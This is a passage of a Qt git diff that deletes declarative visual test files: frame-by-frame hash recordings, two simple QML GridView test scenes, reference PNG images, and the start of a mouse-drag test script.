- hash: "969720f17eae51258e2e143e14bfa737" - } - Frame { - msec: 6912 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 6928 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 6944 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 6960 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 6976 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 6992 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 7008 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 7024 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 7040 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 7056 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 7072 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 7088 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 7104 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 7120 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 7136 - hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" - } - Frame { - msec: 7152 - hash: "beeaec4b983c970ae448e33047dfdfea" - } - Frame { - msec: 7168 - hash: "7c415ab1b7d8e25b71af75d3eec8ee4a" - } - Frame { - msec: 7184 - hash: "8913037e57b9a6a58b68f2d6e69b1bd1" - } - Frame { - msec: 7200 - hash: "19e59e9409fdaf90ccf75606b58688b7" - } - Frame { - msec: 7216 - hash: "1ae71ef5b1006f637bd8df0769af65a6" - } - Frame { - msec: 7232 - hash: "1f0aa8b368b2dbccafd54b923d8cce95" - } - Frame { - msec: 7248 - hash: "c5079fb25a8c80a995d7aa5fbbd91428" - } - Frame { - msec: 7264 - hash: "59f41220fa5d23db298c9e94f115c17b" - } - Frame { - msec: 7280 - hash: "48259dfe8b266d9e7f50b187be98c3cb" - } - Frame { - msec: 7296 - hash: "f7554552598351c3b8dfcbe3ebc32b3b" - } - Frame { - msec: 7312 - hash: "219e9cd84d7e5c5c0e6cb80100aa3ab5" - } - Frame { - msec: 7328 - hash: "5578e870ee8ce00bce5a59bb25e3d0a9" - } - Frame { - msec: 7344 - hash: "4d9cebbf750c03380694245e0e22ab94" - } - Frame { - msec: 7360 - hash: "a60a8032e97ed0a3caa05012c1283de5" - } - Frame { - msec: 7376 - hash: "3bee20b349a7e9d67f7770ede6da8673" - } - Frame { - msec: 7392 - hash: "d8c34576c25fb8b5e4fa12680ac32e99" - } - Frame { - msec: 7408 - hash: "cd1360aa7db7c3b2f2012dfc44de2198" - } - Frame { - msec: 7424 - hash: "cd82782f63c9a7d21d51b3440c2f038b" - } - Frame { - msec: 7440 - hash: "e59061967a841aa45607c0828b687527" - } - Frame { - msec: 7456 - hash: "01962406c9aaf1aa8bf3ab49e30ddf5f" - } - Frame { - msec: 7472 - hash: "5a5732a568189e598c7985ee806bc67e" - } - Frame { - msec: 7488 - hash: "54775aed3a6283c1fa330d65de5bc70c" - } - Frame { - msec: 7504 - hash: "66640b4a5c1e68924b25de24e3c3f008" - } - Frame { - msec: 7520 - hash: "76999d3125f20ba47dbdff38ee722a8a" - } - Frame { - msec: 7536 - hash: "5159c81533bee8825cff11910bcb90dc" - } - Frame { - msec: 7552 - hash: "ac0295495345987d1e000f6bb2436927" - } - Frame { - msec: 7568 - hash: "d56b4a04f1d2835a0852ea20e8e2f451" - } - Frame { - msec: 7584 - hash: "ae41fe23e2ab508d7642973c0d9d35b0" - } - Frame { - msec: 7600 - hash: "730ca01fbee6ec4928715ec52773c06c" - } - Frame { - msec: 7616 - hash: "ad1fa52c617a2b119d61eb9fb7d58a82" - } - Frame { - msec: 7632 - hash: "c74321a822b515a393e8e218bd45e8e3" - } - Frame { - msec: 7648 - hash: "a9e2f3bee1d47166204c74bdf90cd8c8" - } - Frame { - msec: 7664 - hash: "e10d4bf08980ea7d079a2f359ee62b95" - } - Frame { - msec: 7680 - image: "gridview2.7.png" - } - Frame { - msec: 7696 - hash: "9f0ba6051e684e54ff4e36d980a7e600" - } - Frame { - msec: 7712 - hash: "aa6268d8d7fb3d2b91db3e225e8c818a" - } - Frame { - msec: 7728 - hash: "8e547e55279b1929f42bf51e753f142e" - } - Frame { - msec: 7744 - hash: "5386c71f8d6701379e177f161d714da2" - } - Frame { - msec: 7760 - hash: "a184e9e6012c72fc1aeaed9f98b0fb1e" - } - Frame { - msec: 7776 - hash: "777a6b70ca77c45e2e5e3914cc328dcb" - } - Frame { - msec: 7792 - hash: "424f73f25a1e91126f951838d45adc3b" - } - Frame { - msec: 7808 - hash: "3f7f2eb6b9a5d19fbfcd700baf566dfb" - } - Frame { - msec: 7824 - hash: "c3c4c72b25c2295b82a5fd7454942f77" - } - Frame { - msec: 7840 - hash: "3b35e93d3eb9d28c5c03d6d353f805d2" - } - Frame { - msec: 7856 - hash: "5dcad019a1c0eaaab381a7602e1914ff" - } - Frame { - msec: 7872 - hash: "602a5c569555767413bf445af44c744f" - } - Frame { - msec: 7888 - hash: "3e9facab95dae772f695b6f7c5175063" - } - Frame { - msec: 7904 - hash: "0921220ec36ca7b25eaae699872a2006" - } - Frame { - msec: 7920 - hash: "1d5fa7fd630af62bcc805bdc6686df37" - } - Frame { - msec: 7936 - hash: "165c02de63604aa118d9f8995e6b45af" - } - Frame { - msec: 7952 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 7968 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 7984 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8000 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8016 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8032 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8048 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8064 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8080 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8096 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8112 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8128 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8144 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8160 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8176 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8192 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8208 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8224 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8240 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8256 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8272 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8288 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8304 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8320 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8336 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8352 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8368 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8384 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8400 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8416 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8432 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8448 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8464 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8480 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8496 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8512 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8528 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8544 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8560 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8576 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8592 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8608 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8624 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8640 - image: "gridview2.8.png" - } - Frame { - msec: 8656 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8672 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8688 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8704 - hash: "33d81c39d16c6a326012499796e50e03" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 8720 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8736 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8752 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8768 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8784 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8800 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8816 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8832 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8848 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8864 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8880 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8896 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8912 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8928 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8944 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8960 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8976 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 8992 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 9008 - hash: "33d81c39d16c6a326012499796e50e03" - } - Frame { - msec: 9024 - hash: "33d81c39d16c6a326012499796e50e03" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativegridview/gridview.qml b/tests/auto/declarative/visual/qdeclarativegridview/gridview.qml deleted file mode 100644 index f8782a5..0000000 --- a/tests/auto/declarative/visual/qdeclarativegridview/gridview.qml +++ /dev/null @@ -1,51 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 300; height: 400; color: "black" - - ListModel { - id: appModel - ListElement { lColor: "red" } - ListElement { lColor: "yellow" } - ListElement { lColor: "green" } - ListElement { lColor: "blue" } - ListElement { lColor: "purple" } - ListElement { lColor: "orange" } - ListElement { lColor: "pink" } - ListElement { lColor: "brown" } - ListElement { lColor: "gray" } - ListElement { lColor: "red" } - ListElement { lColor: "yellow" } - ListElement { lColor: "green" } - ListElement { lColor: "blue" } - ListElement { lColor: "purple" } - ListElement { lColor: "orange" } - ListElement { lColor: "pink" } - ListElement { lColor: "brown" } - ListElement { lColor: "gray" } - } - - Component { - id: appDelegate - Item { - width: 100; height: 100 - Rectangle { - color: lColor; x: 4; y: 4 - width: 92; height: 92 - } - } - } - - Component { - id: appHighlight - Rectangle { width: 100; height: 100; color: "white"; z: 3000 } - } - - GridView { - anchors.fill: parent - cellWidth: 100; cellHeight: 100; cacheBuffer: 200 - model: appModel; delegate: appDelegate - highlight: appHighlight - focus: true - } -} diff --git a/tests/auto/declarative/visual/qdeclarativegridview/gridview2.qml b/tests/auto/declarative/visual/qdeclarativegridview/gridview2.qml deleted file mode 100644 index f4fb863..0000000 --- a/tests/auto/declarative/visual/qdeclarativegridview/gridview2.qml +++ /dev/null @@ -1,58 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 300; height: 400; color: "black" - - ListModel { - id: appModel - ListElement { lColor: "red" } - ListElement { lColor: "yellow" } - ListElement { lColor: "green" } - ListElement { lColor: "blue" } - ListElement { lColor: "purple" } - ListElement { lColor: "orange" } - ListElement { lColor: "pink" } - ListElement { lColor: "brown" } - ListElement { lColor: "gray" } - ListElement { lColor: "red" } - ListElement { lColor: "yellow" } - ListElement { lColor: "green" } - ListElement { lColor: "blue" } - ListElement { lColor: "purple" } - ListElement { lColor: "orange" } - ListElement { lColor: "pink" } - ListElement { lColor: "brown" } - ListElement { lColor: "gray" } - ListElement { lColor: "red" } - ListElement { lColor: "yellow" } - ListElement { lColor: "green" } - } - - Component { - id: appDelegate - Item { - width: 100; height: 100 - Rectangle { - color: lColor; x: 4; y: 4 - width: 92; height: 92 - } - } - } - - GridView { - id: gridView; anchors.fill: parent - cellWidth: 100; cellHeight: 100; cacheBuffer: 200 - model: appModel; delegate: appDelegate; focus: true - keyNavigationWraps: true - - flickableData: [ - Rectangle { - color: "transparent"; border.color: "white"; border.width: 8; z: 3000 - height: 100; width: 100; x: 4; y: 4 - EaseFollow on x { source: gridView.currentItem.x; velocity: 500 } - EaseFollow on y { source: gridView.currentItem.y; velocity: 500 } - } - ] - } - -} diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.0.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.0.png deleted file mode 100644 index cf36d60..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.1.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.1.png deleted file mode 100644 index 6069df8..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.2.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.2.png deleted file mode 100644 index b8bd5f3..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.3.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.3.png deleted file mode 100644 index cf36d60..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.4.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.4.png deleted file mode 100644 index 831d6b4..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.5.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.5.png deleted file mode 100644 index f7079dc..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.6.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.6.png deleted file mode 100644 index a5f4451..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.7.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.7.png deleted file mode 100644 index e1261d0..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.8.png b/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.8.png deleted file mode 100644 index 653905e..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.qml b/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.qml deleted file mode 100644 index 5a131e9..0000000 --- a/tests/auto/declarative/visual/qdeclarativemouseregion/data/drag.qml +++ /dev/null @@ -1,5207 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 32 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 48 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 64 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 80 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 96 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 112 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 128 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 144 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 160 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 176 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 192 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 208 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 224 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 240 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 256 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 272 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 288 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 304 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 320 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 336 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 352 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 368 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 384 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 400 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 416 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 432 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 448 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 464 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 480 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 496 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 512 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 528 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 544 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 560 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 576 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 592 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 608 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 624 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 640 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 656 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 672 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 688 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 704 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 720 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 736 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 752 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 768 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 784 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 800 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 816 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 832 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 848 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 864 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 880 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 896 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 912 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 928 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 944 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 960 - image: "drag.0.png" - } - Frame { - msec: 976 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 992 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1008 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1024 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1040 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1056 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1072 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1088 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1104 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1120 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1136 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1152 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1168 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1184 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1200 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1216 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1232 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1248 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1264 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1280 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1296 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1312 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1328 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1344 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1360 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1376 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1392 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1408 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1424 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1440 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1456 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1472 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1488 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1504 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1520 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1536 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1552 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1568 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1584 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1600 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1616 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1632 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1648 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1664 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1680 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1696 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1712 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1728 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1744 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1760 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1776 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1792 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 16; y: 54 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1808 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Frame { - msec: 1824 - hash: "668cc6d9d699b947a7c0f3ff4b26853f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 16; y: 55 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 17; y: 55 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1840 - hash: "b6b4b2c7acddd23609caa9727911b981" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 17; y: 55 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1856 - hash: "b6b4b2c7acddd23609caa9727911b981" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 18; y: 55 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1872 - hash: "022610222cfbcf9e9a8991cdb60c7bbb" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 19; y: 54 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1888 - hash: "9b5201a3201a102b20592d81218b5e74" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 22; y: 49 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 29; y: 42 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1904 - hash: "a6c6df34bb552249393ba208ad327691" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 37; y: 35 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1920 - image: "drag.1.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 47; y: 27 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1936 - hash: "978543d8f9688605625f40b960d79c28" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 59; y: 21 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 73; y: 15 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1952 - hash: "6170ab3a7e51278ac4462b89fe7781b4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 87; y: 9 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1968 - hash: "32866f0aa5b13b3ab68661f49336439e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 100; y: 5 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1984 - hash: "26dc17c16eed46d37932cfe48d182b62" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 111; y: 1 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 121; y: -3 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2000 - hash: "ba70936fb44396fac184cc7ba0e94a90" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 130; y: -6 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2016 - hash: "bae13291d4f031c34d80428d83367ede" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 140; y: -8 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2032 - hash: "0a2fbfdc27bb6662553f637f1c325475" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 151; y: -9 - modifiers: 0 - 